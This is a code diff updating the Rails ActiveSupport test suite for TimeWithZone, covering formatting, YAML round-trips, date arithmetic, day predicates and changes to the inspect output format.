     assert_equal "1999-12-31 19:00:00 -0500", @twz.to_s
   end
 
-  def test_to_formatted_s
-    assert_equal "1999-12-31 19:00:00 -0500", @twz.to_formatted_s
+  def test_to_fs
+    assert_equal "1999-12-31 19:00:00 -0500", @twz.to_fs
+  end
+
+  def test_to_fs_db
+    assert_equal "2000-01-01 00:00:00", @twz.to_fs(:db)
+    assert_equal "2000-01-01 00:00:00", @twz.to_formatted_s(:db)
   end
 
-  def test_to_s_db
-    assert_equal "2000-01-01 00:00:00", @twz.to_s(:db)
+  def test_to_fs_inspect
+    assert_equal "1999-12-31 19:00:00.000000000 -0500", @twz.to_fs(:inspect)
+  end
+
+  def test_to_fs_not_existent
+    assert_equal "1999-12-31 19:00:00 -0500", @twz.to_fs(:not_existent)
   end
 
   def test_xmlschema
@@ -144,8 +172,25 @@ def test_xmlschema_with_nil_fractional_seconds
     assert_equal "1999-12-31T19:00:00-05:00", @twz.xmlschema(nil)
   end
 
+  def test_xmlschema_with_datetime_local_time
+    tz = ActiveSupport::TimeZone["America/New_York"]
+    twz = ActiveSupport::TimeWithZone.new(nil, tz, DateTime.new(2025, 11, 7, 12))
+
+    assert_equal "2025-11-07T12:00:00-05:00", twz.xmlschema
+  end
+
+  def test_iso8601_with_fractional_seconds
+    @twz += Rational(1, 8)
+    assert_equal "1999-12-31T19:00:00.125-05:00", @twz.iso8601(3)
+  end
+
+  def test_rfc3339_with_fractional_seconds
+    @twz += Rational(1, 8)
+    assert_equal "1999-12-31T19:00:00.125-05:00", @twz.rfc3339(3)
+  end
+
   def test_to_yaml
-    yaml = <<-EOF.strip_heredoc
+    yaml = <<~EOF
       --- !ruby/object:ActiveSupport::TimeWithZone
       utc: 2000-01-01 00:00:00.000000000 Z
       zone: !ruby/object:ActiveSupport::TimeZone
@@ -157,7 +202,7 @@ def test_to_yaml
   end
 
   def test_ruby_to_yaml
-    yaml = <<-EOF.strip_heredoc
+    yaml = <<~EOF
       ---
       twz: !ruby/object:ActiveSupport::TimeWithZone
         utc: 2000-01-01 00:00:00.000000000 Z
@@ -170,7 +215,7 @@ def test_ruby_to_yaml
   end
 
   def test_yaml_load
-    yaml = <<-EOF.strip_heredoc
+    yaml = <<~EOF
       --- !ruby/object:ActiveSupport::TimeWithZone
       utc: 2000-01-01 00:00:00.000000000 Z
       zone: !ruby/object:ActiveSupport::TimeZone
@@ -178,11 +223,12 @@ def test_yaml_load
       time: 1999-12-31 19:00:00.000000000 Z
     EOF
 
-    assert_equal(@twz, YAML.load(yaml))
+    loaded = YAML.respond_to?(:unsafe_load) ? YAML.unsafe_load(yaml) : YAML.load(yaml)
+    assert_equal(@twz, loaded)
   end
 
   def test_ruby_yaml_load
-    yaml = <<-EOF.strip_heredoc
+    yaml = <<~EOF
       ---
       twz: !ruby/object:ActiveSupport::TimeWithZone
         utc: 2000-01-01 00:00:00.000000000 Z
@@ -191,7 +237,8 @@ def test_ruby_yaml_load
         time: 1999-12-31 19:00:00.000000000 Z
     EOF
 
-    assert_equal({ "twz" => @twz }, YAML.load(yaml))
+    loaded = YAML.respond_to?(:unsafe_load) ? YAML.unsafe_load(yaml) : YAML.load(yaml)
+    assert_equal({ "twz" => @twz }, loaded)
   end
 
   def test_httpdate
@@ -203,20 +250,20 @@ def test_rfc2822
   end
 
   def test_compare_with_time
-    assert_equal  1, @twz <=> Time.utc(1999, 12, 31, 23, 59, 59)
-    assert_equal  0, @twz <=> Time.utc(2000, 1, 1, 0, 0, 0)
+    assert_equal 1, @twz <=> Time.utc(1999, 12, 31, 23, 59, 59)
+    assert_equal 0, @twz <=> Time.utc(2000, 1, 1, 0, 0, 0)
     assert_equal(-1, @twz <=> Time.utc(2000, 1, 1, 0, 0, 1))
   end
 
   def test_compare_with_datetime
-    assert_equal  1, @twz <=> DateTime.civil(1999, 12, 31, 23, 59, 59)
-    assert_equal  0, @twz <=> DateTime.civil(2000, 1, 1, 0, 0, 0)
+    assert_equal 1, @twz <=> DateTime.civil(1999, 12, 31, 23, 59, 59)
+    assert_equal 0, @twz <=> DateTime.civil(2000, 1, 1, 0, 0, 0)
     assert_equal(-1, @twz <=> DateTime.civil(2000, 1, 1, 0, 0, 1))
   end
 
   def test_compare_with_time_with_zone
-    assert_equal  1, @twz <=> ActiveSupport::TimeWithZone.new(Time.utc(1999, 12, 31, 23, 59, 59), ActiveSupport::TimeZone["UTC"])
-    assert_equal  0, @twz <=> ActiveSupport::TimeWithZone.new(Time.utc(2000, 1, 1, 0, 0, 0), ActiveSupport::TimeZone["UTC"])
+    assert_equal 1, @twz <=> ActiveSupport::TimeWithZone.new(Time.utc(1999, 12, 31, 23, 59, 59), ActiveSupport::TimeZone["UTC"])
+    assert_equal 0, @twz <=> ActiveSupport::TimeWithZone.new(Time.utc(2000, 1, 1, 0, 0, 0), ActiveSupport::TimeZone["UTC"])
     assert_equal(-1, @twz <=> ActiveSupport::TimeWithZone.new(Time.utc(2000, 1, 1, 0, 0, 1), ActiveSupport::TimeZone["UTC"]))
   end
 
@@ -234,6 +281,42 @@ def test_today
     end
   end
 
+  def test_yesterday?
+    Date.stub(:current, Date.new(2000, 1, 1)) do
+      assert_equal true,  ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(1999, 12, 31, 23, 59, 59)).yesterday?
+      assert_equal false, ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2000, 1, 1, 0)).yesterday?
+      assert_equal true,  ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(1999, 12, 31)).yesterday?
+      assert_equal false, ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2000, 1, 2, 0)).yesterday?
+    end
+  end
+
+  def test_prev_day?
+    Date.stub(:current, Date.new(2000, 1, 1)) do
+      assert_equal true,  ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(1999, 12, 31, 23, 59, 59)).prev_day?
+      assert_equal false, ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2000, 1, 1, 0)).prev_day?
+      assert_equal true,  ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(1999, 12, 31)).prev_day?
+      assert_equal false, ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2000, 1, 2, 0)).prev_day?
+    end
+  end
+
+  def test_tomorrow?
+    Date.stub(:current, Date.new(2000, 1, 1)) do
+      assert_equal false, ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(1999, 12, 31, 23, 59, 59)).tomorrow?
+      assert_equal true,  ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2000, 1, 2, 0)).tomorrow?
+      assert_equal false, ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2000, 1, 1, 23, 59, 59)).tomorrow?
+      assert_equal false, ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(1999, 12, 31, 0)).tomorrow?
+    end
+  end
+
+  def test_next_day?
+    Date.stub(:current, Date.new(2000, 1, 1)) do
+      assert_equal false, ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(1999, 12, 31, 23, 59, 59)).next_day?
+      assert_equal true,  ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2000, 1, 2, 0)).next_day?
+      assert_equal false, ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2000, 1, 1, 23, 59, 59)).next_day?
+      assert_equal false, ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(1999, 12, 31, 0)).next_day?
+    end
+  end
+
   def test_past_with_time_current_as_time_local
     with_env_tz "US/Eastern" do
       Time.stub(:current, Time.local(2005, 2, 10, 15, 30, 45)) do
@@ -272,6 +355,20 @@ def test_future_with_time_current_as_time_with_zone
     end
   end
 
+  def test_before
+    twz = ActiveSupport::TimeWithZone.new(Time.utc(2017, 3, 6, 12, 0, 0), @time_zone)
+    assert_equal false, twz.before?(ActiveSupport::TimeWithZone.new(Time.utc(2017, 3, 6, 11, 59, 59), @time_zone))
+    assert_equal false, twz.before?(ActiveSupport::TimeWithZone.new(Time.utc(2017, 3, 6, 12, 0, 0), @time_zone))
+    assert_equal true, twz.before?(ActiveSupport::TimeWithZone.new(Time.utc(2017, 3, 6, 12, 00, 1), @time_zone))
+  end
+
+  def test_after
+    twz = ActiveSupport::TimeWithZone.new(Time.utc(2017, 3, 6, 12, 0, 0), @time_zone)
+    assert_equal true, twz.after?(ActiveSupport::TimeWithZone.new(Time.utc(2017, 3, 6, 11, 59, 59), @time_zone))
+    assert_equal false, twz.after?(ActiveSupport::TimeWithZone.new(Time.utc(2017, 3, 6, 12, 0, 0), @time_zone))
+    assert_equal false, twz.after?(ActiveSupport::TimeWithZone.new(Time.utc(2017, 3, 6, 12, 00, 1), @time_zone))
+  end
+
   def test_eql?
     assert_equal true, @twz.eql?(@twz.dup)
     assert_equal true, @twz.eql?(Time.utc(2000))
@@ -289,46 +386,56 @@ def test_hash
   end
 
   def test_plus_with_integer
-    assert_equal Time.utc(1999, 12, 31, 19, 0 , 5), (@twz + 5).time
+    assert_equal Time.utc(1999, 12, 31, 19, 0, 5), (@twz + 5).time
   end
 
   def test_plus_with_integer_when_self_wraps_datetime
     datetime = DateTime.civil(2000, 1, 1, 0)
     twz = ActiveSupport::TimeWithZone.new(datetime, @time_zone)
-    assert_equal DateTime.civil(1999, 12, 31, 19, 0 , 5), (twz + 5).time
+    assert_equal DateTime.civil(1999, 12, 31, 19, 0, 5), (twz + 5).time
   end
 
-  def test_plus_when_crossing_time_class_limit
-    twz = ActiveSupport::TimeWithZone.new(Time.utc(2038, 1, 19), @time_zone)
-    assert_equal [0, 0, 19, 19, 1, 2038], (twz + 86_400).to_a[0, 6]
+  def test_no_limit_on_times
+    twz = ActiveSupport::TimeWithZone.new(Time.utc(2000, 1, 1), @time_zone)
+    assert_equal [0, 0, 19, 31, 12, 11999], (twz + 10_000.years).to_a[0, 6]
+    assert_equal [0, 0, 19, 31, 12, -8001], (twz - 10_000.years).to_a[0, 6]
+  end
+
+  def test_plus_with_invalid_argument
+    twz = ActiveSupport::TimeWithZone.new(Time.utc(2000, 1, 1), @time_zone)
+    assert_not_deprecated(ActiveSupport.deprecator) do
+      assert_raises TypeError do
+        twz + Object.new
+      end
+    end
   end
 
   def test_plus_with_duration
-    assert_equal Time.utc(2000, 1, 5, 19, 0 , 0), (@twz + 5.days).time
+    assert_equal Time.utc(2000, 1, 5, 19, 0, 0), (@twz + 5.days).time
   end
 
   def test_minus_with_integer
-    assert_equal Time.utc(1999, 12, 31, 18, 59 , 55), (@twz - 5).time
+    assert_equal Time.utc(1999, 12, 31, 18, 59, 55), (@twz - 5).time
   end
 
   def test_minus_with_integer_when_self_wraps_datetime
     datetime = DateTime.civil(2000, 1, 1, 0)
     twz = ActiveSupport::TimeWithZone.new(datetime, @time_zone)
-    assert_equal DateTime.civil(1999, 12, 31, 18, 59 , 55), (twz - 5).time
+    assert_equal DateTime.civil(1999, 12, 31, 18, 59, 55), (twz - 5).time
   end
 
   def test_minus_with_duration
-    assert_equal Time.utc(1999, 12, 26, 19, 0 , 0), (@twz - 5.days).time
+    assert_equal Time.utc(1999, 12, 26, 19, 0, 0), (@twz - 5.days).time
   end
 
   def test_minus_with_time
-    assert_equal  86_400.0,  ActiveSupport::TimeWithZone.new(Time.utc(2000, 1, 2), ActiveSupport::TimeZone["UTC"]) - Time.utc(2000, 1, 1)
-    assert_equal  86_400.0,  ActiveSupport::TimeWithZone.new(Time.utc(2000, 1, 2), ActiveSupport::TimeZone["Hawaii"]) - Time.utc(2000, 1, 1)
+    assert_equal 86_400.0,  ActiveSupport::TimeWithZone.new(Time.utc(2000, 1, 2), ActiveSupport::TimeZone["UTC"]) - Time.utc(2000, 1, 1)
+    assert_equal 86_400.0,  ActiveSupport::TimeWithZone.new(Time.utc(2000, 1, 2), ActiveSupport::TimeZone["Hawaii"]) - Time.utc(2000, 1, 1)
   end
 
   def test_minus_with_time_precision
-    assert_equal  86_399.999999998,  ActiveSupport::TimeWithZone.new(Time.utc(2000, 1, 2, 23, 59, 59, Rational(999999999, 1000)), ActiveSupport::TimeZone["UTC"]) - Time.utc(2000, 1, 2, 0, 0, 0, Rational(1, 1000))
-    assert_equal  86_399.999999998,  ActiveSupport::TimeWithZone.new(Time.utc(2000, 1, 2, 23, 59, 59, Rational(999999999, 1000)), ActiveSupport::TimeZone["Hawaii"]) - Time.utc(2000, 1, 2, 0, 0, 0, Rational(1, 1000))
+    assert_equal 86_399.999999998,  ActiveSupport::TimeWithZone.new(Time.utc(2000, 1, 2, 23, 59, 59, Rational(999999999, 1000)), ActiveSupport::TimeZone["UTC"]) - Time.utc(2000, 1, 2, 0, 0, 0, Rational(1, 1000))
+    assert_equal 86_399.999999998,  ActiveSupport::TimeWithZone.new(Time.utc(2000, 1, 2, 23, 59, 59, Rational(999999999, 1000)), ActiveSupport::TimeZone["Hawaii"]) - Time.utc(2000, 1, 2, 0, 0, 0, Rational(1, 1000))
   end
 
   def test_minus_with_time_with_zone
@@ -337,23 +444,31 @@ def test_minus_with_time_with_zone
     assert_equal 86_400.0,  twz2 - twz1
   end
 
+  def test_minus_with_time_with_zone_without_preserve_configured
+    twz1 = ActiveSupport::TimeWithZone.new(Time.utc(2000, 1, 1), ActiveSupport::TimeZone["UTC"])
+    twz2 = ActiveSupport::TimeWithZone.new(Time.utc(2000, 1, 2), ActiveSupport::TimeZone["UTC"])
+
+    difference = assert_not_deprecated(ActiveSupport.deprecator) { twz2 - twz1 }
+    assert_equal 86_400.0, difference
+  end
+
   def test_minus_with_time_with_zone_precision
     twz1 = ActiveSupport::TimeWithZone.new(Time.utc(2000, 1, 1, 0, 0, 0, Rational(1, 1000)), ActiveSupport::TimeZone["UTC"])
     twz2 = ActiveSupport::TimeWithZone.new(Time.utc(2000, 1, 1, 23, 59, 59, Rational(999999999, 1000)), ActiveSupport::TimeZone["UTC"])
-    assert_equal  86_399.999999998,  twz2 - twz1
+    assert_equal 86_399.999999998,  twz2 - twz1
   end
 
   def test_minus_with_datetime
-    assert_equal  86_400.0,  ActiveSupport::TimeWithZone.new(Time.utc(2000, 1, 2), ActiveSupport::TimeZone["UTC"]) - DateTime.civil(2000, 1, 1)
+    assert_equal 86_400.0,  ActiveSupport::TimeWithZone.new(Time.utc(2000, 1, 2), ActiveSupport::TimeZone["UTC"]) - DateTime.civil(2000, 1, 1)
   end
 
   def test_minus_with_datetime_precision
-    assert_equal  86_399.999999999,  ActiveSupport::TimeWithZone.new(Time.utc(2000, 1, 1, 23, 59, 59, Rational(999999999, 1000)), ActiveSupport::TimeZone["UTC"]) - DateTime.civil(2000, 1, 1)
+    assert_equal 86_399.999999999,  ActiveSupport::TimeWithZone.new(Time.utc(2000, 1, 1, 23, 59, 59, Rational(999999999, 1000)), ActiveSupport::TimeZone["UTC"]) - DateTime.civil(2000, 1, 1)
   end
 
   def test_minus_with_wrapped_datetime
-    assert_equal  86_400.0,  ActiveSupport::TimeWithZone.new(DateTime.civil(2000, 1, 2), ActiveSupport::TimeZone["UTC"]) - Time.utc(2000, 1, 1)
-    assert_equal  86_400.0,  ActiveSupport::TimeWithZone.new(DateTime.civil(2000, 1, 2), ActiveSupport::TimeZone["UTC"]) - DateTime.civil(2000, 1, 1)
+    assert_equal 86_400.0,  ActiveSupport::TimeWithZone.new(DateTime.civil(2000, 1, 2), ActiveSupport::TimeZone["UTC"]) - Time.utc(2000, 1, 1)
+    assert_equal 86_400.0,  ActiveSupport::TimeWithZone.new(DateTime.civil(2000, 1, 2), ActiveSupport::TimeZone["UTC"]) - DateTime.civil(2000, 1, 1)
   end
 
   def test_plus_and_minus_enforce_spring_dst_rules
@@ -421,12 +536,15 @@ def test_time_at
     assert_equal time, Time.at(time)
   end
 
-  def test_to_time
-    with_env_tz "US/Eastern" do
-      assert_equal Time, @twz.to_time.class
-      assert_equal Time.local(1999, 12, 31, 19), @twz.to_time
-      assert_equal Time.local(1999, 12, 31, 19).utc_offset, @twz.to_time.utc_offset
-    end
+  def test_to_time_preserve_timezone
+    time = @twz.to_time
+    local_time = with_env_tz("US/Eastern") { Time.local(1999, 12, 31, 19) }
+
+    assert_equal Time, time.class
+    assert_equal time.object_id, @twz.to_time.object_id
+    assert_equal local_time, time
+    assert_equal local_time.utc_offset, time.utc_offset
+    assert_equal @time_zone, time.zone
   end
 
   def test_to_date
@@ -445,7 +563,7 @@ def test_to_datetime
   end
 
   def test_acts_like_time
-    assert @twz.acts_like_time?
+    assert_predicate @twz, :acts_like_time?
     assert @twz.acts_like?(:time)
     assert ActiveSupport::TimeWithZone.new(DateTime.civil(2000), @time_zone).acts_like?(:time)
   end
@@ -456,7 +574,7 @@ def test_acts_like_date
   end
 
   def test_blank?
-    assert_not @twz.blank?
+    assert_not_predicate @twz, :blank?
   end
 
   def test_is_a
@@ -465,23 +583,19 @@ def test_is_a
     assert_kind_of ActiveSupport::TimeWithZone, @twz
   end
 
-  def test_class_name
-    assert_equal "Time", ActiveSupport::TimeWithZone.name
-  end
-
   def test_method_missing_with_time_return_value
     assert_instance_of ActiveSupport::TimeWithZone, @twz.months_since(1)
-    assert_equal Time.utc(2000, 1, 31, 19, 0 , 0), @twz.months_since(1).time
+    assert_equal Time.utc(2000, 1, 31, 19, 0, 0), @twz.months_since(1).time
   end
 
   def test_marshal_dump_and_load
     marshal_str = Marshal.dump(@twz)
     mtime = Marshal.load(marshal_str)
     assert_equal Time.utc(2000, 1, 1, 0), mtime.utc
-    assert mtime.utc.utc?
+    assert_predicate mtime.utc, :utc?
     assert_equal ActiveSupport::TimeZone["Eastern Time (US & Canada)"], mtime.time_zone
     assert_equal Time.utc(1999, 12, 31, 19), mtime.time
-    assert mtime.time.utc?
+    assert_predicate mtime.time, :utc?
     assert_equal @twz.inspect, mtime.inspect
   end
 
@@ -490,16 +604,16 @@ def test_marshal_dump_and_load_with_tzinfo_identifier
     marshal_str = Marshal.dump(twz)
     mtime = Marshal.load(marshal_str)
     assert_equal Time.utc(2000, 1, 1, 0), mtime.utc
-    assert mtime.utc.utc?
+    assert_predicate mtime.utc, :utc?
     assert_equal "America/New_York", mtime.time_zone.name
     assert_equal Time.utc(1999, 12, 31, 19), mtime.time
-    assert mtime.time.utc?
+    assert_predicate mtime.time, :utc?
     assert_equal @twz.inspect, mtime.inspect
   end
 
   def test_freeze
     @twz.freeze
-    assert @twz.frozen?
+    assert_predicate @twz, :frozen?
   end
 
   def test_freeze_preloads_instance_variables
@@ -507,6 +621,8 @@ def test_freeze_preloads_instance_variables
     assert_nothing_raised do
       @twz.period
       @twz.time
+      @twz.to_datetime
+      @twz.to_time
     end
   end
 
@@ -516,6 +632,12 @@ def time.foo; "bar"; end
     assert_equal "bar", @twz.foo
   end
 
+  def test_method_missing_works_with_kwargs
+    time = @twz.time
+    def time.method_with_kwarg(foo:); foo; end
+    assert_equal "bar", @twz.method_with_kwarg(foo: "bar")
+  end
+
   def test_date_part_value_methods
     twz = ActiveSupport::TimeWithZone.new(Time.utc(1999, 12, 31, 19, 18, 17, 500), @time_zone)
     assert_not_called(twz, :method_missing) do
@@ -546,12 +668,6 @@ def test_nsec_returns_sec_fraction_when_datetime_is_wrapped
     assert_equal 500000000, twz.nsec
   end
 
-  def test_utc_to_local_conversion_saves_period_in_instance_variable
-    assert_nil @twz.instance_variable_get("@period")
-    @twz.time
-    assert_kind_of TZInfo::TimezonePeriod, @twz.instance_variable_get("@period")
-  end
-
   def test_instance_created_with_local_time_returns_correct_utc_time
     twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(1999, 12, 31, 19))
     assert_equal Time.utc(2000), twz.utc
@@ -574,7 +690,7 @@ def test_instance_created_with_local_time_enforces_fall_dst_rules
   def test_ruby_19_weekday_name_query_methods
     %w(sunday? monday? tuesday? wednesday? thursday? friday? saturday?).each do |name|
       assert_respond_to @twz, name
-      assert_equal @twz.send(name), @twz.method(name).call
+      assert_equal @twz.public_send(name), @twz.method(name).call
     end
   end
 
@@ -587,14 +703,20 @@ def test_local_to_utc_conversion_with_far_future_datetime
   end
 
   def test_change
-    assert_equal "Fri, 31 Dec 1999 19:00:00 EST -05:00", @twz.inspect
-    assert_equal "Mon, 31 Dec 2001 19:00:00 EST -05:00", @twz.change(year: 2001).inspect
-    assert_equal "Wed, 31 Mar 1999 19:00:00 EST -05:00", @twz.change(month: 3).inspect
-    assert_equal "Wed, 03 Mar 1999 19:00:00 EST -05:00", @twz.change(month: 2).inspect
-    assert_equal "Wed, 15 Dec 1999 19:00:00 EST -05:00", @twz.change(day: 15).inspect
-    assert_equal "Fri, 31 Dec 1999 06:00:00 EST -05:00", @twz.change(hour: 6).inspect
-    assert_equal "Fri, 31 Dec 1999 19:15:00 EST -05:00", @twz.change(min: 15).inspect
-    assert_equal "Fri, 31 Dec 1999 19:00:30 EST -05:00", @twz.change(sec: 30).inspect
+    assert_equal "1999-12-31 19:00:00.000000000 EST -05:00", @twz.inspect
+    assert_equal "2001-12-31 19:00:00.000000000 EST -05:00", @twz.change(year: 2001).inspect
+    assert_equal "1999-03-31 19:00:00.000000000 EST -05:00", @twz.change(month: 3).inspect
+    assert_equal "1999-03-03 19:00:00.000000000 EST -05:00", @twz.change(month: 2).inspect
+    assert_equal "1999-12-15 19:00:00.000000000 EST -05:00", @twz.change(day: 15).inspect
+    assert_equal "1999-12-31 06:00:00.000000000 EST -05:00", @twz.change(hour: 6).inspect
+    assert_equal "1999-12-31 19:15:00.000000000 EST -05:00", @twz.change(min: 15).inspect
+    assert_equal "1999-12-31 19:00:30.000000000 EST -05:00", @twz.change(sec: 30).inspect
+    assert_equal "1999-12-31 19:00:00.000000000 HST -10:00", @twz.change(offset: "-10:00").inspect
+    assert_equal "1999-12-31 19:00:00.000000000 HST -10:00", @twz.change(offset: -36000).inspect
+    assert_equal "1999-12-31 19:00:00.000000000 HST -10:00", @twz.change(zone: "Hawaii").inspect
+    assert_equal "1999-12-31 19:00:00.000000000 HST -10:00", @twz.change(zone: -10).inspect
+    assert_equal "1999-12-31 19:00:00.000000000 HST -10:00", @twz.change(zone: -36000).inspect
+    assert_equal "1999-12-31 19:00:00.000000000 HST -10:00", @twz.change(zone: "Pacific/Honolulu").inspect
   end
 
   def test_change_at_dst_boundary
@@ -608,83 +730,83 @@ def test_round_at_dst_boundary
   end
 
   def test_advance
-    assert_equal "Fri, 31 Dec 1999 19:00:00 EST -05:00", @twz.inspect
-    assert_equal "Mon, 31 Dec 2001 19:00:00 EST -05:00", @twz.advance(years: 2).inspect
-    assert_equal "Fri, 31 Mar 2000 19:00:00 EST -05:00", @twz.advance(months: 3).inspect
-    assert_equal "Tue, 04 Jan 2000 19:00:00 EST -05:00", @twz.advance(days: 4).inspect
-    assert_equal "Sat, 01 Jan 2000 01:00:00 EST -05:00", @twz.advance(hours: 6).inspect
-    assert_equal "Fri, 31 Dec 1999 19:15:00 EST -05:00", @twz.advance(minutes: 15).inspect
-    assert_equal "Fri, 31 Dec 1999 19:00:30 EST -05:00", @twz.advance(seconds: 30).inspect
+    assert_equal "1999-12-31 19:00:00.000000000 EST -05:00", @twz.inspect
+    assert_equal "2001-12-31 19:00:00.000000000 EST -05:00", @twz.advance(years: 2).inspect
+    assert_equal "2000-03-31 19:00:00.000000000 EST -05:00", @twz.advance(months: 3).inspect
+    assert_equal "2000-01-04 19:00:00.000000000 EST -05:00", @twz.advance(days: 4).inspect
+    assert_equal "2000-01-01 01:00:00.000000000 EST -05:00", @twz.advance(hours: 6).inspect
+    assert_equal "1999-12-31 19:15:00.000000000 EST -05:00", @twz.advance(minutes: 15).inspect
+    assert_equal "1999-12-31 19:00:30.000000000 EST -05:00", @twz.advance(seconds: 30).inspect
   end
 
   def test_beginning_of_year
-    assert_equal "Fri, 31 Dec 1999 19:00:00 EST -05:00", @twz.inspect
-    assert_equal "Fri, 01 Jan 1999 00:00:00 EST -05:00", @twz.beginning_of_year.inspect
+    assert_equal "1999-12-31 19:00:00.000000000 EST -05:00", @twz.inspect
+    assert_equal "1999-01-01 00:00:00.000000000 EST -05:00", @twz.beginning_of_year.inspect
   end
 
   def test_end_of_year
-    assert_equal "Fri, 31 Dec 1999 19:00:00 EST -05:00", @twz.inspect
-    assert_equal "Fri, 31 Dec 1999 23:59:59 EST -05:00", @twz.end_of_year.inspect
+    assert_equal "1999-12-31 19:00:00.000000000 EST -05:00", @twz.inspect
+    assert_equal "1999-12-31 23:59:59.999999999 EST -05:00", @twz.end_of_year.inspect
   end
 
   def test_beginning_of_month
-    assert_equal "Fri, 31 Dec 1999 19:00:00 EST -05:00", @twz.inspect
-    assert_equal "Wed, 01 Dec 1999 00:00:00 EST -05:00", @twz.beginning_of_month.inspect
+    assert_equal "1999-12-31 19:00:00.000000000 EST -05:00", @twz.inspect
+    assert_equal "1999-12-01 00:00:00.000000000 EST -05:00", @twz.beginning_of_month.inspect
   end
 
   def test_end_of_month
-    assert_equal "Fri, 31 Dec 1999 19:00:00 EST -05:00", @twz.inspect
-    assert_equal "Fri, 31 Dec 1999 23:59:59 EST -05:00", @twz.end_of_month.inspect
+    assert_equal "1999-12-31 19:00:00.000000000 EST -05:00", @twz.inspect
+    assert_equal "1999-12-31 23:59:59.999999999 EST -05:00", @twz.end_of_month.inspect
   end
 
   def test_beginning_of_day
-    assert_equal "Fri, 31 Dec 1999 19:00:00 EST -05:00", @twz.inspect
-    assert_equal "Fri, 31 Dec 1999 00:00:00 EST -05:00", @twz.beginning_of_day.inspect
+    assert_equal "1999-12-31 19:00:00.000000000 EST -05:00", @twz.inspect
+    assert_equal "1999-12-31 00:00:00.000000000 EST -05:00", @twz.beginning_of_day.inspect
   end
 
   def test_end_of_day
-    assert_equal "Fri, 31 Dec 1999 19:00:00 EST -05:00", @twz.inspect
-    assert_equal "Fri, 31 Dec 1999 23:59:59 EST -05:00", @twz.end_of_day.inspect
+    assert_equal "1999-12-31 19:00:00.000000000 EST -05:00", @twz.inspect
+    assert_equal "1999-12-31 23:59:59.999999999 EST -05:00", @twz.end_of_day.inspect
   end
 
   def test_beginning_of_hour
     utc = Time.utc(2000, 1, 1, 0, 30)
     twz = ActiveSupport::TimeWithZone.new(utc, @time_zone)
-    assert_equal "Fri, 31 Dec 1999 19:30:00 EST -05:00", twz.inspect
-    assert_equal "Fri, 31 Dec 1999 19:00:00 EST -05:00", twz.beginning_of_hour.inspect
+    assert_equal "1999-12-31 19:30:00.000000000 EST -05:00", twz.inspect
+    assert_equal "1999-12-31 19:00:00.000000000 EST -05:00", twz.beginning_of_hour.inspect
   end
 
   def test_end_of_hour
     utc = Time.utc(2000, 1, 1, 0, 30)
     twz = ActiveSupport::TimeWithZone.new(utc, @time_zone)
-    assert_equal "Fri, 31 Dec 1999 19:30:00 EST -05:00", twz.inspect
-    assert_equal "Fri, 31 Dec 1999 19:59:59 EST -05:00", twz.end_of_hour.inspect
+    assert_equal "1999-12-31 19:30:00.000000000 EST -05:00", twz.inspect
+    assert_equal "1999-12-31 19:59:59.999999999 EST -05:00", twz.end_of_hour.inspect
   end
 
   def test_beginning_of_minute
     utc = Time.utc(2000, 1, 1, 0, 30, 10)
     twz = ActiveSupport::TimeWithZone.new(utc, @time_zone)
-    assert_equal "Fri, 31 Dec 1999 19:30:10 EST -05:00", twz.inspect
-    assert_equal "Fri, 31 Dec 1999 19:00:00 EST -05:00", twz.beginning_of_hour.inspect
+    assert_equal "1999-12-31 19:30:10.000000000 EST -05:00", twz.inspect
+    assert_equal "1999-12-31 19:30:00.000000000 EST -05:00", twz.beginning_of_minute.inspect
   end
 
   def test_end_of_minute
     utc = Time.utc(2000, 1, 1, 0, 30, 10)
     twz = ActiveSupport::TimeWithZone.new(utc, @time_zone)
-    assert_equal "Fri, 31 Dec 1999 19:30:10 EST -05:00", twz.inspect
-    assert_equal "Fri, 31 Dec 1999 19:30:59 EST -05:00", twz.end_of_minute.inspect
+    assert_equal "1999-12-31 19:30:10.000000000 EST -05:00", twz.inspect
+    assert_equal "1999-12-31 19:30:59.999999999 EST -05:00", twz.end_of_minute.inspect
   end
 
   def test_since
-    assert_equal "Fri, 31 Dec 1999 19:00:01 EST -05:00", @twz.since(1).inspect
+    assert_equal "1999-12-31 19:00:01.000000000 EST -05:00", @twz.since(1).inspect
   end
 
   def test_in
-    assert_equal "Fri, 31 Dec 1999 19:00:01 EST -05:00", @twz.in(1).inspect
+    assert_equal "1999-12-31 19:00:01.000000000 EST -05:00", @twz.in(1).inspect
   end
 
   def test_ago
-    assert_equal "Fri, 31 Dec 1999 18:59:59 EST -05:00", @twz.ago(1).inspect
+    assert_equal "1999-12-31 18:59:59.000000000 EST -05:00", @twz.ago(1).inspect
   end
 
   def test_seconds_since_midnight
@@ -693,272 +815,270 @@ def test_seconds_since_midnight
 
   def test_advance_1_year_from_leap_day
     twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2004, 2, 29))
-    assert_equal "Mon, 28 Feb 2005 00:00:00 EST -05:00", twz.advance(years: 1).inspect
-    assert_equal "Mon, 28 Feb 2005 00:00:00 EST -05:00", twz.years_since(1).inspect
-    assert_equal "Mon, 28 Feb 2005 00:00:00 EST -05:00", twz.since(1.year).inspect
-    assert_equal "Mon, 28 Feb 2005 00:00:00 EST -05:00", twz.in(1.year).inspect
-    assert_equal "Mon, 28 Feb 2005 00:00:00 EST -05:00", (twz + 1.year).inspect
+    assert_equal "2005-02-28 00:00:00.000000000 EST -05:00", twz.advance(years: 1).inspect
+    assert_equal "2005-02-28 00:00:00.000000000 EST -05:00", twz.years_since(1).inspect
+    assert_equal "2005-02-28 00:00:00.000000000 EST -05:00", twz.since(1.year).inspect
+    assert_equal "2005-02-28 00:00:00.000000000 EST -05:00", twz.in(1.year).inspect
